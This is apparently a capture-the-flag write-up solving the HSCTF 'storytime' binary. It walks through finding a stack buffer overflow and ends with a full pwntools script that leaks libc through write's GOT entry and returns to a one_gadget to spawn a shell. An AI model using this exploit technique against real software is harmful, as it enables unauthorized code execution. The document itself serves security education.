Solution
First of all let's run pwn checksec on the binary and then run it to see what it does:
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/2/hs]
→ pwn checksec storytime
[*] '/home/nothing/binexp/2/hs/storytime'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/2/hs]
→ ./storytime
HSCTF PWNNNNNNNNNNNNNNNNNNNN
Tell me a story:
yes
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/2/hs]
→ ./storytime
HSCTF PWNNNNNNNNNNNNNNNNNNNN
Tell me a story:
no
So we have a 64 bit dynamically linked binary that has a Non-Executable stack (NX), it prints out some text, and then prompts us for input. Let's view it inside of ghidra:
We get the following disassembled code:
undefined8 main(void)
{
undefined local_38 [48];
setvbuf(stdout,(char *)0x0,2,0);
write(1,"HSCTF PWNNNNNNNNNNNNNNNNNNNN\n",0x1d);
write(1,"Tell me a story: \n",0x12);
read(0,local_38,400);
return 0;
}
Our input text gets passed into a read() call, and we can pass in 400 bytes of data into the local_38 variable even though it was initially declared to be able to hold only 48 bytes. So this means that we have our buffer overflow right here. There is no stack canary,
so nothing stops us from executing code, now what will we execute ?
When we look under the imports in Ghidra, we see the following imported functions:
So this means that we can call any of these functions, Since the ELF is dynamically linked, we don't have alot of gadgets.
First we will need to get a libc infoleak with a write function that writes to stdout (1) and then loops back again to a vulnerable read call to overwrite the return address with a onegadget, which is a ROP gadget that can be found in the libc, that can potentially spawn a shell.
Now we need to know what the libc version is, we can view it from gdb with the vmmap command.
Here we want to set the first breakpoint after the read call at 0x4x4x4x40069c, so we can locate where our text is:
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/2/hs]
→ gdb ./storytime
GNU gdb (GDB) 10.1
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-pc-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
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Find the GDB manual and other documentation resources online at:
.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
GEF for linux ready, type `gef' to start, `gef config' to configure
92 commands loaded for GDB 10.1 using Python engine 3.9
Reading symbols from ./storytime...
(No debugging symbols found in ./storytime)
gef➤ b *0x40069c
Breakpoint 1 at 0x40069c
gef➤ r
Starting program: /home/nothing/binexp/2/hs/storytime
HSCTF PWNNNNNNNNNNNNNNNNNNNN
Tell me a story:
13371337
Breakpoint 1, 0x000000000040069c in main ()
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x0
$rbx : 0x00000000004006a0 → <__libc_csu_init+0> push r15
$rcx : 0x00007ffff7ebd052 → 0x5677fffff0003d48 ("H="?)
$rdx : 0x190
$rsp : 0x00007fffffffdf38 → 0x00007ffff7df4b25 → <__libc_start_main+213> mov edi, eax
$rbp : 0x0
$rsi : 0x00007fffffffdf00 → 0x3733333137333331 ("13371337"?)
$rdi : 0x0
$rip : 0x000000000040069c → ret
$r8 : 0x0
$r9 : 0x00007ffff7fdc070 → <_dl_fini+0> endbr64
$r10 : 0xfffffffffffffb87
$r11 : 0x246
$r12 : 0x00000000004004d0 → <_start+0> xor ebp, ebp
$r13 : 0x0
$r14 : 0x0
$r15 : 0x0
$eflags: [zero CARRY PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffdf38│+0x0000: 0x00007ffff7df4b25 → <__libc_start_main+213> mov edi, eax ← $rsp
0x00007fffffffdf40│+0x0008: 0x00007fffffffe028 → 0x00007fffffffe358 → "/home/nothing/binexp/2/hs/storytime"
0x00007fffffffdf48│+0x0010: 0x00000001f7fca000
0x00007fffffffdf50│+0x0018: 0x000000000040062e → push rbp
0x00007fffffffdf58│+0x0020: 0x00007fffffffe339 → 0x61b7180f2454c920
0x00007fffffffdf60│+0x0028: 0x00000000004006a0 → <__libc_csu_init+0> push r15
0x00007fffffffdf68│+0x0030: 0x7140ad8a61b88017
0x00007fffffffdf70│+0x0038: 0x00000000004004d0 → <_start+0> xor ebp, ebp
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x400691 call 0x4004b0
0x400696 mov eax, 0x0
0x40069b leave
●→ 0x40069c ret
↳ 0x7ffff7df4b25 <__libc_start_main+213> mov edi, eax
0x7ffff7df4b27 <__libc_start_main+215> call 0x7ffff7e0c820
0x7ffff7df4b2c <__libc_start_main+220> mov rax, QWORD PTR [rsp]
0x7ffff7df4b30 <__libc_start_main+224> lea rdi, [rip+0x164729] # 0x7ffff7f59260
0x7ffff7df4b37 <__libc_start_main+231> mov rsi, QWORD PTR [rax]
0x7ffff7df4b3a <__libc_start_main+234> xor eax, eax
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "storytime", stopped 0x40069c in main (), reason: BREAKPOINT
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x40069c → main()
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤
What happened here is that we first set the breakpoint to be after the read call, and then we ran the binary, gave it an easy to remember pattern (13371337) and then we hit our breakpoint. Now let's search where our pattern is in the memory:
gef➤ search-pattern 13371337
[+] Searching '13371337' in memory
[+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rw-
0x7fffffffdf00 - 0x7fffffffdf08 → "13371337[...]"
gef➤ info frame
Stack level 0, frame at 0x7fffffffdf38:
rip = 0x40069c in main; saved rip = 0x7ffff7df4b25
Arglist at unknown address.
Locals at unknown address, Previous frame's sp is 0x7fffffffdf40
Saved registers:
rip at 0x7fffffffdf38
So here we see that our pattern is located at 0x7fffffffdf00 and the return address is at 0x7fffffffdf38
so we can now calculate the offset between the 2 with python's hex() function easily:
[ 192.168.0.18/24 ] [ /dev/pts/17 ] [Documents/Github/blog]
→ python3
Python 3.9.2 (default, Feb 20 2021, 18:40:11)
[GCC 10.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> hex( 0x7fffffffdf00 - 0x7fffffffdf38 )
'-0x38'
And we get a 0x38 bytes offset between the start of our input and the return address.
Now for the write libc infoleak, we need to make use of the following registers:
rdi 0x1 (stdout file handle)
rsi got address entry for write
rdx value => 8
Since PIE isn't enabled, we know the address of the got entry without needing a PIE infoleak. Looking at the assembly code leading up to the ret instruction which gives us code execution, we can see that the rdx register is set to 0x190 whgich will fit our needs:
00400680 48 8d 45 d0 LEA RAX=>local_38,[RBP + -0x30]
00400684 ba 90 01 MOV EDX,0x190
00 00
00400689 48 89 c6 MOV RSI,RAX
0040068c bf 00 00 MOV EDI,0x0
00 00
00400691 e8 1a fe CALL read ssize_t read(int __fd, void * __
Now for the got entry of write in the rsi register, we see that there is a rop gadget that will allow us to pop it into
the register. It will also pop a value into the r15 register, however we just need to include another 8 byte qword in our rop chain for that so it doesn't change anything:
[ 192.168.0.18/24 ] [ /dev/pts/17 ] [binexp/2/hs]
→ ROPgadget --binary storytime| grep rsi
0x0000000000400701 : pop rsi ; pop r15 ; ret
Now for the last register (1 in rdi) we can jump to 0x400601 which is in the middle of the end function:
void end(void)
{
write(1,"The End!\n",0x28);
return;
}
The instruction we jump back to will mov 0x1 into edi and then call write which will give us our infoleak:
004005fa 48 8d 35 LEA RSI,[s_The_End!_00400761] = "The End!\n"
60 01 00 00
00400601 bf 01 00 MOV EDI,0x1
00 00
00400606 e8 95 fe CALL write ssize_t write(int __fd, void * _
ff ff
0040060b 90 NOP
0040060c 5d POP RBP
0040060d c3 RET
So it will return and then continue with our ropchain, however before it does that, it will pop a value off of our chain into the rbp register so we will need to include a 8 bytes qword in our ropchain at that point. for where to jump to, we choose 0x40060e since it is the beginning of the climax function:
void climax(void)
{
undefined local_38 [48];
read(0,local_38,4000);
return;
}
This function will give us a buffer overflow where we can overwrite the return address with a onegadget and spawn a shell.
Now let's find the onegadget from the base of libc, to choose which ones to use we can just
guess and check
[ 192.168.0.18/24 ] [ /dev/pts/17 ] [binexp/2/hs]
→ one_gadget libc.so.6
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
So with all of this, we end up with the following exploit:
[ 192.168.0.18/24 ] [ /dev/pts/17 ] [binexp/2/hs]
→ vim exploit.py
from pwn import *
target = process('./storytime')
libc = ELF('libc.so.6')
popRsiR15 = p64(0x400701)
writeGot = p64(0x601018)
payload = b"\x00"*0x38
# Pop the got entry of write into r15
payload += popRsiR15
payload += writeGot
payload += p64(0x3030303030303030) # Filler value will be popped into r15
# Right before write call in end
payload += p64(0x400601)
# Filler value that will be popped off in end
payload += p64(0x3030303030303030)
# Address of climax, we will exploit another buffer overflow to use the rop gadget
payload += p64(0x40060e)
target.sendline(payload)
print(target.recvuntil("Tell me a story: \n"))
# Scan in and filter out the libc infoleak, calculate base of libc
leak = u64(target.recv(8))
base = leak - libc.symbols["write"]
print(hex(base))
# Calculate the oneshot gadget
oneshot = base + 0x4526a
# Make the payload for the onshot gadget
payload = b"\x00"*0x38 + p64(oneshot)
# Send it and get a shell
target.sendline(payload)
target.interactive()
[ 192.168.0.18/24 ] [ /dev/pts/17 ] [binexp/2/hs]
→ python3 original.py
[+] Starting local process './storytime': pid 1570923
[*] '/home/nothing/binexp/2/hs/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
b'HSCTF PWNNNNNNNNNNNNNNNNNNNN\nTell me a story: \n'
0x7f1b59432e30
[*] Switching to interactive mode
@\xa0RY\x1b\x7f\x00\xf0KY\x1b\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00 \xc5_Y\x1b\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0[*] Got EOF while reading in interactive
$ cat flag.txt
hsctf{th4nk7_f0r_th3_g00d_st0ry_yay-314879357}
And that's it ! we managed to capture the flag.